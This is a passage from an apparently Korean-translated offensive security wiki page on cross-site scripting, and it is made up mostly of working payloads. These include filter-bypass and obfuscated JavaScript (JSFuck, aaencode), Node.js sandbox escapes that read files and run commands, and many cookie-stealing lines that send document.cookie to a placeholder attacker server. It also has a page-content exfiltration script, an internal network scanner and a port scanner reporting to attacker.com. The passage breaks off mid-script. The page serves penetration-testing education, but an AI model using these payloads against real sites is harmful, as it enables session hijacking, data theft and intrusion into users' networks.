'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
임의 함수 (alert) 호출
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
공격자가 제어하는 데이터(예: location.href)를 안전하지 않게 사용하는 JS code가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
설명의 분량이 늘어나서 DOM vulnerabilities it was moved to this page:
그 페이지에는 DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명이 있습니다.
또한, 언급한 글의 끝부분에 DOM Clobbering attacks에 대한 설명이 있다는 것을 잊지 마세요.
Self-XSS 업그레이드
Cookie XSS
만약 페이로드를 쿠키 안에 넣어 XSS를 트리거할 수 있다면, 이는 보통 self-XSS입니다. 하지만 XSS에 취약한 서브도메인을 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 발동시킬 수 있습니다. 이를 위해 cookie tossing attack을 사용할 수 있습니다:
이 기술의 훌륭한 악용 사례는 this blog post에서 확인할 수 있습니다.
Sending your session to the admin
사용자가 자신의 프로필을 admin과 공유할 수 있고, 그 프로필에 self XSS가 포함되어 있으며 admin이 접근하면 취약점이 트리거될 수 있습니다.
Session Mirroring
self XSS를 발견했고 웹 페이지가 관리자를 위한 session mirroring을 제공한다면(예: 고객이 도움을 요청하면 admin이 고객의 세션을 자신의 세션에서 볼 수 있도록 하는 경우), admin은 당신이 보고 있는 내용을 자신의 세션으로 보게 됩니다.
이렇게 해서 administrator가 당신의 self XSS를 트리거하게 만들고 그의 쿠키/세션을 훔칠 수 있습니다.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
Emscripten/WASM를 사용하는 웹 앱에서는 상수 문자열(예: HTML 형식 스텁)이 쓰기 가능한 linear memory에 저장됩니다. 단일 in‑WASM 오버플로우(예: 편집 경로에서의 unchecked memcpy)는 인접 구조를 손상시키고 이러한 상수로의 쓰기를 리다이렉트할 수 있습니다. 템플릿 ""로 덮어쓰면, 정화된 입력이 JavaScript 핸들러 값으로 바뀌어 렌더링 시 즉시 DOM XSS를 유발합니다.
다음 전용 페이지에서 익스플로잇 워크플로우, DevTools memory helpers, 방어 기법을 확인하세요:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
서버(또는 클라이언트 측)에서 reflected values가 unicode normalized되는지 확인하고, 이 기능을 악용해 보호 장치를 우회할 수 있습니다. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment 때문에 따옴표가 HTML에 삽입되고, 그 결과 따옴표 제한이 우회되어 태그 안에 추가 필드(onfocus)를 넣을 수 있습니다.
폼 예시 (from this report), payload를 전송하면:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
쌍 "Key","Value"는 다음과 같이 출력됩니다:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
그러면 onfocus 속성이 삽입되고 XSS가 발생합니다.
특수 조합
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
If you find that you can inject headers in a 302 Redirect response you could try to make the browser execute arbitrary JavaScript. This is not trivial as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS에 사용되는 스크립트 타입
(From here) 그렇다면 스크립트를 로드하기 위해 어떤 타입들이 지정될 수 있을까?
<script type="???"></script>
- module (기본값, 설명 불필요)
- webbundle: Web Bundles는 HTML, CSS, JS… 등 여러 데이터를 하나의
.wbn파일로 묶을 수 있는 기능입니다.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import 구문을 개선할 수 있습니다
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
이 동작은 this writeup에서 라이브러리를 eval로 재매핑하여 남용하면 XSS를 유발할 수 있음을 보여주기 위해 사용되었습니다.
- speculationrules: 이 기능은 주로 프리렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
웹 Content-Types와 XSS
(출처: here) 다음 Content-Types는 모든 브라우저에서 XSS를 실행할 수 있습니다:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
다른 브라우저에서는 다른 **Content-Types**가 임의의 JS를 실행하는 데 사용될 수 있습니다. 확인: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
페이지가 text/xml content-type을 반환하는 경우 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
특수 치환 패턴
예를 들어 "some {{template}} data".replace("{{template}}", <user_input>) 같은 코드가 사용될 때, 공격자는 special string replacements을 이용해 일부 보호를 우회하려고 시도할 수 있습니다: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
예를 들어 this writeup에서는, 이것이 스크립트 안의 JSON 문자열을 이스케이프하는 데 사용되어 임의의 코드를 실행했습니다.
Chrome Cache to XSS
XS Jails Escape
사용할 수 있는 문자 집합이 제한되어 있다면, XSJail 문제에 대한 다음 다른 유효한 해결책들을 확인하세요:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
신뢰할 수 없는 코드를 실행하기 전에 모든 것이 undefined라면 (예: this writeup) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무(無)에서" 유용한 객체를 생성할 수 있다:
- Using import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- 간접적으로
require에 접근하기
According to this 모듈은 Node.js에 의해 다음과 같이 함수로 감싸집니다:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
따라서, 해당 모듈에서 우리가 다른 함수를 호출할 수 있다면, 그 함수에서 arguments.callee.caller.arguments[1]를 사용하여 **require**에 접근할 수 있습니다:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
이전 예와 유사하게, use error handlers를 통해 모듈의 wrapper에 접근하여 require 함수를 얻을 수 있습니다:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- 한 페이지에 있는 다양한 obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- 더 정교한 JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 일반 payloads
여러 payloads를 하나로
Iframe Trap
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하도록 유도하여 그의 동작(forms에 전송된 정보 포함)을 탈취합니다:
Cookies 가져오기
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
쿠키에 HTTPOnly 플래그가 설정되어 있으면 JavaScript에서 cookies에 접근할 수 없습니다. 하지만 운이 좋다면 이 보호를 우회하는 몇 가지 방법이 있습니다.
페이지 내용 탈취
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
내부 IP 찾기
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
포트 스캐너 (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
